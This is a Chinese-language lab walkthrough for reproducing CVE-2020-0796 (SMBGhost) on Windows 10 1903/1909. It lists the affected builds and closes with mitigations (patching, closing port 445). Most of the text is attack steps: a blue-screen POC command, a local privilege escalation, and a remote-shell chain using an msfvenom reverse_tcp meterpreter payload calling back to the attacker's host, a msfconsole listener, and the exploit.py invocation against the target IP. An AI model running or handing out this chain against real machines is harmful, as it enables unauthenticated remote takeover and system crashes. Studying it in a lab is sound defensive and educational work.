漏洞简介
漏洞公告显示，SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏漏洞，可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行，受黑客攻击的目标系统只需开机在线即可能被入侵。
漏洞影响范围
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
漏洞检测
奇安信的检测工具：
github的某脚本：
POC地址
蓝屏攻击
本地提权
远程执行shell
复现
攻击机 kali 192.168.23.140
靶机 win10 192.168.23.139
关闭win10fang'huo'q
- 蓝屏复现
解压蓝屏攻击POC：
执行命令：
python3 CVE-2020-0796.py 192.168.23.139
执行成功，win10蓝屏
- 本地提权
运行本地提权POC
成功后会打开system权限的窗口
- 远程执行shell复现
解压远程执行shellPOC：
1.生成反向链接木马
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.23.140 LPORT=6666 -f python -o shell.txt
等待成功后，会生成一个shell.txt文件，
2.修改exp
把shell.txt文件里的buf替换成USER_PAYLOAD
然后打开exploit.py文件，把下面红圈里的内容换成修改后的shell.txt的内容
保存。
3.msf监听
打开msf
msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.23.140
msf5 exploit(multi/handler) > set lport 6666
msf5 exploit(multi/handler) > run
然后另开终端，运行POC
python3 exploit.py -ip 192.168.23.139
等待运行成功，拿到shell
漏洞处理
1.及时更新微软针对该漏洞所发布的的修复补丁
2.关闭445端口
